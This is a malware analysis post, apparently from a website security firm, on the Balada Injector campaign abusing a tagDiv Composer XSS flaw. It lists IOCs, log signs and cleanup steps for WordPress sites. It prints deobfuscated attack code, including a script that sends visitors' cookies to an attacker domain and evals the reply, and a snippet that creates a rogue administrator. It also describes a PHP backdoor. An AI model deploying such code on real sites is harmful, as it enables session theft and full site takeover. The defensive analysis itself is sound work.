Cybersecurity

Balada Injector Targets Unpatched tagDiv Plugin, Newspaper Theme & WordPress Admins

In the middle of September 2023, vulnerability advisory resources disclosed the details of an Unauthenticated Stored XSS vulnerability in the tagDiv Composer (the companion plugin for the popular tagDiv premium themes Newspaper and Newsmag). Shortly after that, we started noticing new waves of Balada malware injections on websites that were actively using tagDiv themes.

This is not the first time that the Balada Injector gang has targeted vulnerabilities in tagDiv’s premium themes. One of the earliest massive malware injections that we could attribute to this campaign took place during the summer of 2017, where disclosed security bugs in Newspaper and Newsmag WordPress themes were actively abused. At that time, tagDiv had already reported over 40,000 paying users (plus many more users of pirated themes). Now in 2023, tagDiv claims to have over 135,000 users of the popular premium Newspaper theme.

In this post, we’ll be examining the latest waves of this ongoing massive Balada Injector campaign. We will also delve into the technical details of the injected scripts found in each wave, exploring their functionality and the potential dangers they pose to site administrators. We’ll also discuss how the Balada Injector gang maintains control over compromised sites and their evolving tactics.

Contents:

Detecting exploitation in tagDiv composer vulnerability

A tell-tale sign of exploitation for this recently disclosed XSS vulnerability in the tagDiv Composer is a malicious script found injected inside of these tags:

<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>

The obfuscated injection itself can be found in the “td_live_css_local_storage” option in the wp_options table of the WordPress database.

Wave 1: stay.decentralappps[.]com injections

The first of these Newspaper theme-related Balada Injector waves planted the following script into the code of public WordPress pages.

<style id="tdw-css-placeholder"></style><script>var iz=String;eval(iz.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,

… skipped … ,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));</script><style></style>

A second variation of the same script began with:

<style id="tdw-css-placeholder"></style> <script id='first_time_ch'>var iz=String;var iz2=iz['fromCharCode'](118,97,114,32,...

Both obfuscated script injections load an external script from hxxps://stay.decentralappps[.]com/src/page.js At this point, the first variation of this injection is detected by PublicWWW on over 4,000 sites and the second variation on another 1,000+ sites.

The malicious stay.decentralappps[.]com domain was registered on 2023-09-03T21:39:36Z and is known to be used in the redirect chain of the previous (stratosbody[.]com) wave of Balada Injector.

Signs of attacks in website logs

In the logs of compromised sites we always find POST requests to /wp-json/tdw/save_css  from IPs like 185.39.206.149, 91.191.151.43, 148.113.4.34, 92.205.27.126, etc. that use this fairly outdated User-Agent string:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36

As we previously wrote, this User-Agent is commonly used for Balada Injector along with some other massive website attacks.

Going beyond the script injection

The exploited vulnerability only allows attackers to inject malicious code into the “td_live_css_local_storage” option in WordPress database so that it propagates into every public page of the compromised website. While this is the ultimate goal of this campaign, the hackers are never satisfied with occasional injections — there is no guarantee that they will be able to keep exploiting the compromised sites once the original vulnerability is patched.

Balada Injector hackers always aim for persistent control over compromised sites by uploading backdoors, adding malicious plugins, and creating rogue blog administrators. In this case, the vulnerability doesn’t allow them to easily achieve this goal. However, this never stopped Balada from trying to completely take over the sites with stored XSS vulnerabilities.

Balada is long known for injecting malicious scripts that target logged-in site administrators. The idea is when a blog administrator logs into a website, their browser contains cookies that allow them to do all their administrative tasks without having to authenticate themselves on every new page. So, if their browser loads a script that tries to emulate administrator activity, it will be able to do almost anything that can be done via the WordPress admin interface.

Historically, Balada used this approach to create rogue WordPress admin users. This latest wave is no different. However, this time we’ve observed a rapid evolution of the scripts that targeted WordPress admins.

Wave 2: Autogenerated malicious WordPress users

The first iteration of the stay.decentralappps[.]com/src/page.js script created a malicious user with user_login=greeceman and user_email=[email protected]. This was originally documented on the GeoEdge blog.

This greeceman username was the same for every compromised domain, so you can easily find many websites containing this malicious admin using the following Google query: [greeceman inurl:author]. A quick analysis of the search results show that the sites do use the Newspaper theme and many of them are still infected with the Balada malware.

A few days later, however, the page.js script changed. And this time, the rogue admin username and email were autogenerated to make them more unique (likely an evasive maneuver).

Here’s the related code from the deobfuscated malware:

var uu=window.location.hostname.replace("www.","").replace(".","u").substring(0,4)+"mann";

var nonce = nonceMatch[1];
var pp=makeid(12)+"@";var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login="+uu+"&email="+uu+"@mail.com&pass1="+pp+"&pass2="+pp+"&role=administrator";

As you can see, there is still a pattern in the generated usernames and emails. They are constructed by appending the first 4 characters of the infected site’s hostname (without the “www.” part and with all periods replaced with character “u”) to the word “mann”, the user email is the same username @mail.com.

Let’s illustrate this a bit with the following three examples:

  • If the compromised website’s hostname is www.example.com or example.com, then the generated username/email pair will be: exammann/[email protected].
  • For blog.example.com, the malicious admin would be: blogmann/[email protected]
  • For the hypothetical domain ab.xy the malicious admin would be:  abuxmann/[email protected].

In all cases, the passwords of these malicious admins are randomly generated for each site so they can’t be easily abused by anyone else except for the Balada Injector operators. Attackers obtain the passwords via an Ajax POST request to stock.decentralappps[.]com/dest.php?z=z that the malicious script executes after successful user creation.

Along with the admin password, this post request sends the host name of the infected site so that attackers can compile a dataset of compromised domains and credentials of newly created malicious admin users. This dataset is then used for the automatic reinfection of websites or for planting backdoors there.

Wave 3: Backdoors in Newspaper’s 404.php file

Shortly after the new “xxxxmann” variation, the stay.decentralappps[.]com/src/page.js script changed again. It was repurposed to plant a backdoor in the Newspaper theme’s 404.php file.

decoded script shows how it uses the WordPress’ own theme editor and specifically targets the Newspaper theme

Here you can see a snippet of the decoded script that demonstrates how it uses the WordPress’ own theme editor and specifically targets the Newspaper theme (not just any currently installed theme).

/wp-admin/theme-editor.php?file=404.php&theme=Newspaper … &action=edit-theme-plugin-file&file=404.php&theme=Newspaper

This makes sense, since the attackers know that the stay.decentralappps[.]com/src/page.js script is only injected into websites with the Newspaper theme.

Here is an example of what the infected 404.php file may look like on a compromised  website:

infected 404.php file on a hacked website

And here is the decoded backdoor code from 404.php:

Decoded contents of 404.php file

This backdoor saves the malicious PHP code provided in the “ii” POST parameter into an “i” file in the server’s temporary directory, then executes it by including it to the backdoor code. The temporary “i” file is then immediately deleted after execution to hide the traces.

Hackers don’t have to directly access the theme’s 404.php file to use the backdoor (which may trigger firewall rules). Instead, they can simply send a POST request to an arbitrary non-existent URL. So, any POST request with the 404 response code that you see in access logs may potentially be a sign of successful backdoor execution.

Once a backdoor is successfully planted into the 404.php file, notifications are reported back to the Balada Injector operators via a call to stock.decentralappps[.]com/dest.php?d1=<window.location.hostname> to inform them that a backdoor on that specific site is ready to use.

Wave 4: Malicious wp-zexit plugin installation

A few days later, around September 17th-18th, 2023, the stay.decentralappps[.]com/src/page.js script still contained the code to inject the backdoor into the 404.php file, but it was no longer executable.

The return; call was placed just before it like so:

eval(/*2*/l2);return;eval(_0x2fef6b);...

And instead of the _0x2fef6b branch (responsible for 404.php infection), a new l2 branch was executed. This l2 branch was responsible for installation of the malicious wp-zexit plugin.

This is one of the most complex types of attacks performed by the stay.decentralappps[.]com/src/page.js script. To mimic all the required steps for WordPress administrators to install a plugin from a .zip file and activate it, the code executes 8 different Ajax requests while a real logged-in site administrator browses their website.

The sequence of requests begins with /wp-admin/plugin-install.php to mimic opening the plugin installation page and ends with stock.decentralappps[.]com/best.php?d3=<window.location.origin> to report a successful installation to the C2 server.

To upload a zip file from a remote server instead of the local computer, this code uses the FileReader API, where it sends the response from the attacker-controlled URL hxxps://stock.decentralappps[.]com/best.php?f=f as the contents of an uploaded file.

equence of requests begins with /wp-admin/plugin-install.php to mimic opening the plugin installation page

To avoid multiple installations of the same wp-zexit plugin, the malicious code checks if the site already has this plugin installed. Indeed, when you check logs of the infected websites, you see multiple calls to the wp-admin/plugin-install.php page when a site admin browses website pages — but only the first call proceeds to actually install the plugin.

A successful plugin installation request can be identified in the logs if you search for “/wp-admin/plugins.php?action=activate&plugin=wp-zexit%2Fwp-zexit.php&plugin_status=all”.

Once the malicious plugin is successfully installed, you will find the following code in the /wp-content/plugins/wp-zexit/wp-zexit.php file:

contents of the malicious the /wp-content/plugins/wp-zexit/wp-zexit.php file

Wp-zexit plugin behavior

This plugin has two functions that report its presence via the WordPress Ajax interface (/wp-admin/admin-ajax.php). The zexit_adm command can also be used to verify that the current user can “manage options” — it’s an alternative way to tell attackers that an admin is executing the script. The response to this command is checked by the following malicious code to prevent recurring installations of the same plugin:

Code prevents recurring installation of plugin

The main functionality of the plugin can be found in the zexit_init() function. It is the same backdoor that we’ve already seen in the infected 404.php file.

To hide the presence of this plugin in the WordPress admin interface, this code adds a handler for the pre_current_active_plugins action that removes wp-zexit from the list of visible plugins. We regularly find similar code in many fake plugins installed by Balada Injector and some other malware campaigns.

Wave 5: Three new Balada Injector domains

On September 21, 2023, the Balada Injector operators had registered three new domains within a period of 7 seconds:

A few hours later, they started another round of malware injections using the same tagDiv Composer vulnerability in the Newspaper theme.

But this time, attackers decided to randomize every aspect of the attack, from the injected scripts to malicious URLs and the code that they loaded.

Randomized injections in tdw-css-placeholder

The location of the injections was unchanged in wave 5 — the malware was still injected inside these tags:

<style id="tdw-css-placeholder"></style><script>...malicious injection…</script><style></style>

And it could still be found in the td_live_css_local_storage option in the WordPress database. However, the actual injected code now varied for every infected site.

An example of injected code from a compromised environment looks like this:

Example of injected code inside a website compromised by Balada Injector

The tell-tale Balada char code obfuscation is broken down by multiple random comments. These comments, along with the names of variables, are now unique and randomly generated for every site.

This particular type of injection is currently detected by PublicWWW on 484 sites.

Malicious scripts served from multiple subdomains

In addition to the randomized code injections, decoded scripts now try to load the subsequent malware from different URLs on multiple different subdomains of the three new Balada domains.

For example:

  • first.dataofpages[.]com/stats/step.js
  • cdn.dataofpages[.]com/assets/post.js
  • one.dataofpages[.]com/assets/post.js
  • cdn.statisticscripts[.]com/assets/step.js
  • js.statisticscripts[.]com/stats/post.js
  • assets.statisticscripts[.]com/sources/start.js
  • post.listwithstats[.]com/assets/get.js
  • page.listwithstats[.]com/sources/cdn.js
  • new.listwithstats[.]com/assets/post.js
  • etc.

The scripts loaded from these URLs look different from previous waves — and can sometimes be found swapped out for different scripts on the following day.

In most cases, we find large obfuscated scripts (sometimes up to several hundred kilobytes long). After deobfuscation, they all contain the same (pretty short) familiar code that attacks administrators of the infected websites and tries to install the malicious wp-zexit plugin.

Wave 6: Promsmotion[.]com domain

The next wave of Balada injections began on September 29, 2023. It involves several different scripts that load malware from the subdomains of promsmotion[.]com. In this latest wave, we mainly see three distinct types of injections leveraging different types of obfuscation techniques.

The first script injection is the typical Balada Injector char code obfuscation seen throughout recent years. At the time of writing, it is currently detected on 92 sites.

var en3=/*1*/String['from'+'Char'+'Code'](/*2*/102,117,110,99,116,105,111,110,32,99,99,99,99,40,115,114,99,41,10,123,10…skipped…,10,125);/*_0x1bf7*/eval(en3);

This injection can be normally found at the top of .js files like:

  • /wp-includes/js/jquery/jquery-migrate.min.js
  • /wp-includes/js/jquery/jquery.min.js
  • /wp-includes/js/wp-emoji-release.min.js.

The second type of injection can be found in similar locations, but it is slightly larger (about 8 Kbytes) and uses the Obfuscator.io style of obfuscation. This injection is detected on 76 sites.

function _0x5345(){var _0x18bdde=['select_trace','currentScript','204534XMqqPb','head','928NMwdhD',
…skipped…
return Boolean(document[_0x4c793f(0x180)]('script[id="select_trace"]'));}var script=document[_0x4145f8(0x17a)]('script'),co=atob(_0x4145f8(0x176));script['innerHTML']=co,script['id']=_0x4145f8(0x185);cccc()==![]&&(document[_0x4145f8(0x186)]?document[_0x4145f8(0x186)][_0x4145f8(0x183)][_0x4145f8(0x17f)](script,document[_0x4145f8(0x186)]):document['getElementsByTagName'](_0x4145f8(0x188))[0x0]['appendChild'](script));/*_0x1bf7*/

The third type of injection is also based on the Obfuscator.io library but it is significantly larger than the former two – almost 80 Kbytes long. It can be found at the very top of WordPress pages and 404 error responses. PublicWWW detects this variant on 67 sites.

<script type='text/javascript'>(function(_0x1c6f70,_0x55c073){function _0x2654e0(_0x1eba9b,_0x2d3d60,_0x1d9239,_0x3f6f52,_0x4187cd)
…skipped 70+ Kbytes of code …
(script,document[_0x118979('kWNk',0x9ce,0x776,0x8d3,0x9ae)+_0x16c6a7(0x244,0x1a3,0x11a,'t!U^',-0x7f)+_0x3bc47c(0x46f,0x38d,0x4ce,'oso8',0x6cf)]));</script><!doctype html >

Despite the differences in obfuscation techniques and the script lengths, the deobfuscated code for all three of these injections is very short and pretty much the same:

var requestURL = "hxxps://get.promsmotion[.]com/fill";
var pars="d="+window.location.hostname+"&c="+btoa(encodeURIComponent(document.cookie));
ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("POST", requestURL, false);
ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajaxRequest.send(pars);
if(ajaxRequest.responseText.indexOf("ytruytityieter-") !== -1){
const myArray = ajaxRequest.responseText.split("ytruytityieter-");
var io = myArray[1];
eval(io);
}

The main variation in the code is the requestURL. It can be either hxxps://net.promsmotion[.]com/set or hxxps://get.promsmotion[.]com/fill.

This script sends the visitor’s cookies to that URL and, if the cookie values satisfy certain conditions, expects some executable JavaScript code in the response.

All three types of the promsmotion injections can be mainly found on sites with the Newspaper theme, usually alongside other Balada malware that we’ve described in this article. Their placement in files of the compromised sites clearly show that this time instead of using the tagDiv Composer vulnerability, attackers leveraged their backdoors and malicious admin users that had been planted after successful attacks against website admins.

At the current time of writing, Sucuri’s SiteCheck scanner detects the promsmotion injections on a total of 560 sites.

Balada Injector infrastructure: September 2023

Here are the main Balada Injector domains and IP addresses observed during the month of September, 2023 — some of which were also used in attacks not directly related to the Newspaper theme.

Balada Injector Domains:

  • decentralappps[.]com
  • statisticscripts[.]com
  • dataofpages[.]com
  • listwithstats[.]com
  • promsmotion[.]com
  • stablelightway[.]com
  • specialtaskevents[.]com
  • getmygateway[.]com
  • stratosbody[.]com
  • specialnewspaper[.]com (note the Newspaper in the domain name)

For a short period of time, Balada Injector was hiding some of their servers behind a CloudFlare firewall, but their domains didn’t last long there. They inevitably had to return back to pointing domains back directly to their own servers.

Balada Injector Server IPs:

  • 2.59.222.113
  • 2.59.222.119
  • 2.59.222.121
  • 2.59.222.122
  • 2.59.222.158
  • 185.39.206.158
  • 185.39.206.159
  • 185.39.206.160
  • 185.39.206.161
  • 80.66.79.252
  • 80.66.79.253
  • 88.151.192.253
  • 88.151.192.254
  • 89.23.103.32
  • 89.23.103.246

Mitigation steps

September, 2023 was one of the busiest months for Balada Injector malware. Our SiteCheck remote website scanner detected various types of Balada Injector on over 17,000 websites — almost twice the number of detections in the previous month of August. Over 9,000 of these detections were related to the Newspaper theme vulnerability.

We observed a rapid cycle of modifications to their injected scripts alongside new techniques and approaches. We saw randomized injections and obfuscation types, simultaneous use of multiple domains and subdomains, abuse of CloudFlare, and multiple approaches to attack administrators of infected WordPress sites.

September was also a very challenging month for thousands of users of the tagDiv Newspaper theme. The Balada Injector malware campaign performed a series of attacks targeting both the vulnerability in the tagDiv Composer plugin and blog administrators of already infected sites.

Our advice to users of the Newspaper theme is to follow these steps:

  1. Scan your site and remove all injected Balada malware. Our SiteCheck scanner detects most Balada Injector variations as malware.injection?35.*. If you continue with the following steps before completely removing the malware, it may reinfect your site while you are logged in as an administrator.
    • Remove the initial injection, which can be found in the “td_live_css_local_storage” option in the wp_options table.
    • Remove secondary injections, which can be found at the top of .js files like /wp-includes/js/jquery/jquery-migrate.min.js,  /wp-includes/js/jquery/jquery.min.js and /wp-includes/js/wp-emoji-release.min.js.
    • Check files like index.php, wp-blog-header.php  and your theme’s header.php and footer.php files for injections. Remove any malicious code you find there.
  2. Make sure that the tagDiv Composer plugin is patched to at least version 4.2. This will help to prevent reinfections via the known security vulnerability.
  3. Keep your Newspaper theme updated with the latest patches. We’ve seen these injections on sites that use various different versions of the Newspaper themes: 10.x, 11.x, 12.x. Some were as old as version 8.x.
  4. Make sure all other themes and plugins are up-to-date. This is a security best practice and will help protect your website from known vulnerabilities and software bugs.
  5. Remove all unwanted admin users. Check for any recently created admins, especially if their usernames are “greeceman” or end with “mann” and they use “@mail.com” emails.
  6. Make sure there are no unwanted plugins such as wp-zexit or wp-swamp installed on your site. Remember, by default such plugins hide themselves in the WordPress admin interface, so make sure to actually check what kind of plugins you have in the wp-content/plugins directory.
  7. Check the 404.php file of the Newspaper theme. There may be a backdoor there.
  8. Scan your entire website for backdoors. It’s not uncommon for the Balada injector and other attacks to use the initial backdoor to upload several other backdoors into random files. Integrity control systems may help notice new and modified files.
  9. Change all of your website passwords, including the database password. Balada Injector is known for stealing information from wp-config.php files. Make sure all of your user credentials are strong, unique and secure to help prevent reinfection.

Now after reading how website malware may target WordPress admins to escalate some minor injection into the whole site take over, let’s revisit some security practices specifically for WordPress administrators.

  • Even though WordPress admins can post articles, please use your admin account only for administrative tasks. Use more appropriate roles such as author, contributor and editor to create, edit, and post content instead.
  • If you logged as a WordPress administrator, try not to browse your own website in the same browser before you log out. Balada injector uses this scenario to make site admins further infect their own sites. If you need to test site pages, consider using a different browser or a private/incognito window of the same browser, where you will navigate without being identified as a site administrator.
  • If you don’t normally edit theme and plugin files, please disable the theme and plugin editors in the WordPress admin interface. To accomplish this, add the following line into the wp-config.php file:
define('DISALLOW_FILE_EDIT', true);

This other wp-config.php option may also help prevent both using file editors and theme/plugin installers and stop unwanted plugin installations via malicious scripts:

define( 'DISALLOW_FILE_MODS', true);

However, this last step will also block theme/plugin update functionality — so use it only temporarily when you absolutely need to.

Remember, website security is a complex of different ongoing measures and simply following the above instructions cannot not guarantee absolute security of your website.

If you believe your website has been infected with Balada Injector malware or you believe that you have unwanted script injections in WordPress, we can help address the issue. Our experienced malware analysts are available 24/7 to help you quickly clean up an infected website.